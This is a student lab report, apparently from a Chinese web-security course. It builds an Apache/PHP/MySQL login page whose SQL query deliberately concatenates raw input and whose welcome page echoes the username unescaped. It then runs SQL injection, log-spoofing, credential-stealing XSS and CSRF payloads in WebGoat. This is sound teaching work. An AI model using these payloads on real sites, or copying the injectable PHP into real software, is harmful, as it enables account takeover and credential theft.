20192408 胡益琳 2021-2022-2 《网络与系统攻防技术》实验八实验报告
1.实验内容
(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。
2.实验过程
实验点一:Web前端HTML
1.能正常安装、启停Apache。
- kali默认已安装Apache,直接使用service apache2 start打开Apache服务即可。没有报错则说明开启成功
![]()
- 打开浏览器,在网址栏输入127.0.0.1,显示Apache默认网页,表示服务开启成功
![]()
2.理解HTML,理解表单,理解GET与POST方法
- HTML:超文本标记语言,是一种用于创建网页的标准标记语言。HTML允许嵌入图像与对象,并且可以用于创建交互式表单,它被用来结构化信息——例如标题、段落和列表等等,也可用来在一定程度上描述文档的外观和语义。
HTML可以嵌入如JavaScript的脚本语言,它们会影响HTML网页的行为。网页浏览器也可以引用层叠样式表(CSS)来定义文本和其它元素的外观与布局。- 表单在网页中主要负责数据采集功能。一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。 表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。 表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。
- GET - 从指定的资源请求数据。
POST - 向指定的资源提交要被处理的数据。
get是把参数数据队列加到提交表单的action属性所指的url中,值和表单内各个字段一一对应,在url中可以看到。
post是通过http post机制,将表单内各个字段与其内容放置在html header内一起传送到action属性所指的url地址。用户看不到这个过程。
3.编写一个含有表单的HTML
-
使用cd /var/www/html命令进入Apache目录下,新建一个简单的含有表单的html文件login2408.html
![]()
-
在浏览器中输入/var/www/html/login2408.html,打开网页如图所示
![]()
实验点二:Web前端javascipt
(1)理解JavaScript的基本功能,理解DOM。
- JavaScript是一种具有函数优先的轻量级,解释型或即时编译型的编程语言,其功能有:
1、嵌入动态文本于HTML页面;
2、对浏览器事件做出响应;
3、读写HTML元素;
4、在数据被提交到服务器之前验证数据;
5、检测访客的浏览器信息等。 - 文档对象模型 (DOM) 是 HTML 和 XML 文档的编程接口。它提供了对文档的结构化的表述,并定义了一种方式可以使从程序中对该结构进行访问,从而改变文档的结构,样式和内容。DOM 将文档解析为一个由节点和对象(包含属性和方法的对象)组成的结构集合。简言之,它会将 web 页面和脚本或程序语言连接起来。
(2)编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
- 在原有login2408.html的基础上添加一段JavaScript代码,用来判断邮箱与密码是否为空。代码如下:
<html>
<head>
<title>Login</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<h2 align="center">Login</h2>
<center>
<form action="login2408.php" method="post" name="form_login">
<input placeholder="E-mail" name="Email" class="user" type="text" onfocus="if (this.value=='Your email') this.value='';" />
<br>
</br>
<input placeholder="Password" name="Password" class="pass" type="password" onfocus="if (this.value=='Your password') this.value='';"/>
<br>
</br>
<input type="submit" value="Login" onClick="return validateLogin()"/>
</form>
</center>
<script language="javascript">
function validateLogin(){
var sUserName = document.form_login.Email.value ;
var sPassword = document.form_login.Password.value ;
if ((sUserName =="") || (sUserName=="Your email")){
alert("Please enter the Email!");
return false ;
}
if ((sPassword =="") || (sPassword=="Your password")){
alert("Please enter the Password!");
return false ;
}
}
</script>
</body>
</html>

- 在浏览器访问/var/www/html/login2408.html,未输入用户邮箱或是密码就提交,网页会出现弹窗提示
![]()
![]()
- 编写php文件如下,用户点击登录按钮后回显欢迎+用户名
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome!</title>
</head>
<body>
<h1 align="center">欢迎!<?php echo $_POST['Email'];?></h1>
</body>
</html>

实验点三:Web后端:MySQL基础
1.正常安装、启动MySQL
- 输入 service mysql start 开启MySQL服务
输入 mysql -u root -p使用root权限进入,默认的密码是password
用 show databases; 查看数据库基本信息
(注意在mysql中输入命令时需要在命令末尾添加;)
![]()
2.修改密码
- 依次输入如下命令:
use mysql; 选择使用mysql这个数据库。
select user, password, host from user; 查看当前用户信息
update user set password=PASSWORD("新密码") where user='root'; 修改密码,发现无法修改
输入set password for root@'localhost'= password(‘20192408’);密码修改成功
再次输入 select user, password, host from user; 查看当前用户信息,可以看到密码序列发生变化,密码修改成功
输入flush privileges; 更新权限
quit 退出数据库,使用新的密码登录
![]()
![]()
![]()
3.建库、创建用户、建表
-
输入 mysql -u root -p用新密码登录
使用create database hyl; 建立数据库
使用 show databases; 查看存在的数据库
使用 use hyl; 使用我们创建的数据库
用 create table 表名 (字段设定列表); 建立数据库表,并设置字段基本信息:
create table login (username VARCHAR(20),password VARCHAR(20));
使用show tables;查看表信息
![]()
-
使用 insert into 表名 values('值1','值2','值3'...); 插入数据
insert into login values('20192408hyl@qq.com','hyl2408');
使用 select * from 表名; 查询表中的数据
select * from login;在MySQL中增加新用户,使用grant select,insert,update,delete on 数据库.* to 用户名@登录主机(可以是localhost,也可以是远程登录方式的IP) identified by "密码";指令,这句话的意思是:将对某数据库的所有表的select,insert,update,delete权限授予当前主机localhost登录的用户huyilin,192408是登录密码:
grant select,insert,update,delete on hyl.* to huyilin@localhost identified by "192408";
![]()
-
增加新用户后,exit退出,然后输入mysql -u xingchaoyuan -p,使用新的用户名和密码进行登录:
![]()
登录成功,说明成功增加新用户。
实验点四:Web后端
编写PHP网页,连接数据库,进行用户认证
- 编写login2408.php,结合之前编写的login2408.html登录网页并连接数据库进行登录身份验证,login2408.php代码如下:
<?php
$uname=$_POST["Email"];
$pwd=$_POST["Password"];
echo $uname;
$query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
$mysqli = new mysqli("127.0.0.1", "huyilin", "192408", "hyl");
$query_str1="use hyl;";
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
echo " Successfully connected!";
/* Select queries return a resultset */
if ($result = $mysqli->query($query_str1))
echo"<br>Success into database!";
echo$uname;
if ($result = $mysqli->query($query_str)) {
if ($result->num_rows > 0 ){
echo "<br> {$uname}:Welcome! <br> ";
}
else {
echo "<br> Login Fail! <br> " ; }
/* free result set */
$result->close();
}
$mysqli->close();
?>

- 在浏览器输入127.0.0.1/login.html访问自己的登录界面。
![]()
输入之前插入数据库的正确用户名与密码。如图为登录成功页面。
![]()
输入错误密码,显示登录失败。
![]()
实验点五:最简单的SQL注入,XSS攻击测试
- SQL注入:
在用户名输入框输入' or 1=1#,密码任意输入,可登录成功:
![]()
![]()
这里要注意如果前端表单中Email输入框的type为email,则无法注入成功,需要是text才行 - XSS攻击:
在用户名输入,密码随便输.
![]()
登录界面出现弹窗。
![]()
实验点六:安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。
任务一:安装WebGoat
- 首先下载webgoat-container-7.0.1-war-exec.jar。下载链接
- 在下载后的文件目录下执行命令java -jar webgoat-container-7.1-exec.jar
![]()
- 打开浏览器在输入网址http://localhost:8080/WebGoat进入WebGoat的登录界面,按照提示输入用户名和密码,这里输入的都是guest
![]()
登录后页面如下:
![]()
这里还需要配置jdk,具体步骤参考,注意修改为对应版本。
![]()
![]()
![]()
- 使用java -version和javac -version命令来检验是否配置成功。
![]()
如图所示,配置完成。配置成功后在文件目录下重新执行命令java -jar webgoat-container-7.0.1-war-exec.jar,再进入浏览器,可以看到左侧界面增加了相应功能。
![]()
任务二 SQL注入攻击
- 数字型注入:Numeric SQL Injection
- 在左侧菜单栏选择Injection Flaws-Numeric SQL Injection,随意选择一个城市,点击Go后即可显示该城市的天气信息
- 右键单击页面选择Inspect(Q),对网页源代码进行修改,如图选择Columbia,在value值中添加or 1=1。
![]()
- 再次选择Columbia,单击Go,可以看到系统执行了如图SELECT语句,显示了所以城市的天气信息,攻击成功。
![]()
- 日志欺骗:Log Spoofing
- 左侧菜单选择Log Spoofing,正常输入guest登录显示如图:
![]()
- 在username中输入Smith%0d%0aLogin Succeeded for username: admin,通过注入回车%0d和换行符%0a来达到日记欺骗效果。如图为攻击后的日志显示:
![]()
3.字符串注入:String SQL Injection
- 左侧菜单选择String SQL Injection,输入Smith再单击Go,则会显示Smith的信息。
![]()
- 进行SQL注入攻击,输入' or 1=1 --,则可以显示所有信息。
![]()
任务三 XSS攻击
1.Phishing with XSS
- 左侧菜单栏选择Cross-Site Scripting(XSS)- Phishing with XSS,并将以下代码输入到search输入框中。
<head>
<body>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
- 单击search,出现了用户名和密码的输入框
![]()
- 输入用户名和密码,单击login提交后出现弹窗,表示xss攻击成功
![]()
2.存储型XSS攻击:Stored XSS Attacks
- 左侧菜单选择Stored XSS Attacks,Title中任意输入,这里输入的是20192408,在message中输入如下代码:
<head>
<body>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack!Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

- 点击submit提交,下面Message List会新增刚输入的title的名字的链接,如图title为20192408
![]()
- 单击链接可以看到输入框,输入用户名和密码并点击login提交,即会有弹窗显示已被攻击,攻击者成功获取输入的用户名和密码。
![]()
3.反射型XSS攻击:Reflected XSS Attacks
- 左侧菜单栏选择Reflected XSS Attacks,在Enter your three digit access code框中输入代码
再单击Purchase会成功显示警告框,里面是我们输入的内容。

任务四 CSRF攻击
1.跨站请求伪造:Cross Site Request Forgery (CSRF)
- 首先查看页面右侧Parameters中的scr和menu值
![]()
- 在Title中任意输入,在message中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
这里是以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。 - 点击Submit提交。
![]()
提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,能在后台进行一些攻击操作。
![]()
2.绕过CSRF确认:CSRF Prompt By‐Pass - 同样查看页面右侧Parameters中的scr和menu值
![]()
- 在Title中任意输入,在message中输入:
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>

提交之后同样生成链接。

点开链接,攻击成功。

3.问题及解决方案
- 问题1:浏览器打开html并输入用户名密码后无法成功跳转到php文件页面
- 问题1解决方案:更换为2021版本的kali即可成功跳转。
- 问题2:安装WebGoat后左侧菜单栏功能不全。
- 问题2解决方案:未配置jdk,按照网上的教程配置jdk后在文件目录下重新执行命令java -jar webgoat-container-7.0.1-war-exec.jar,再进入浏览器即可。
- 问题3:尝试SQL注入时显示输入字符串过长。
- 问题3解决方案:在网页上右键选择审查元素,将password密码框的maxlength值由8改为18即可成功注入。
![]()
4.学习感悟、思考等
本次实验任务量比较大,学习了web前端HTML、javascipt的编写,后端MySQL的使用与PHP网页的编写,以及SQL注入、XSS攻击、CSRF攻击测试的基本内容,相对来说收获还是很大的。kali比较方便的是自带了Apache和MySQL,不用像上学期一样在主机上配置老半天。注意在使用MySQL时登录后的每一句命令后面都需要加;否则会报错。对于SQL注入语句的掌握还不够熟练,还需要在课下继续学习实践。另外在web渗透中还有一些常用的工具例如buipsuite,尽管在本次实验中好像没有涉及到,但是看到有一些博客在完成SQL注入和CSRF攻击时也用到了buipsuite,需要更熟练地掌握常用工具的使用。












































浙公网安备 33010602011771号